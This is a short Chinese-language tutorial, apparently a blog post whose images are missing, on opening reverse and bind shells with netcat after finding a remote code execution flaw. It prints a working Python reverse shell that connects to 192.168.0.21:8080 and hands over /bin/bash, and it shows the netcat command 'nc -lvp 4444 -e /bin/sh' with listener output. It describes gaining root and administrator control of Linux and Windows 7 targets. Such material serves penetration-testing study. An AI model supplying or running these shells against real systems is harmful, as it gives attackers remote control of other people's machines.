使用netcat的正向 / 反向shell

  • reverse shell

  • bind shell

reverse shell描述图:

使用netcat的正向 / 反向shell

 

在此示例中,目标使用端口4444反向连接攻击主机。-e选项将Bash shell发回攻击主机。请注意,我们也可以在Windows的cmd.exe上使用-e选项。假设我们已经在目标主机上找到了远程代码执行(RCE)漏洞。我们可以在目标主机上使用-e发出Netcat命令,并使用Netcat发出命令启动反向shell。

先启动攻击端的监听:

 使用netcat的正向 / 反向shell

再在目标端启动反向shell:

 linux

使用netcat的正向 / 反向shell

然后可以在攻击端控制目标端的服务器,以root权限;

 

win7

使用netcat的正向 / 反向shell

然后可以在攻击端控制目标端的win7系统,以administrator权限;

 

python的反向shell:

 

import os,socket,subprocess;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.21',8080))
#重定向shell输出
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
#执行子程序
p=subprocess.call(['/bin/bash','-i'])

 

 


 

 

 

正向bind Shell

使用netcat的正向 / 反向shell

 

 

在该图中,目标使用Netcat侦听器将Bash shell绑定到它特定端口4444。攻击者使用简单的Netcat命令连接到此端口。设置bind shell的步骤如下:

 

使用Netcat将一个bash shell绑定到4444端口。 从攻击主机连接到端口4444上的目标主机。 从攻击主机发出命令到目标主机上。

 

 

 

 

 

[email protected]:~# nc -lvp 4444 -e /bin/sh
listening on [any] 4444 ...
10.1.20.x: inverse host lookup failed: Unknown host
connect to [10.1.20.x] from (UNKNOWN) [10.1.20.x] 6065
[email protected]:~# a

 

 

 

 使用netcat的正向 / 反向shell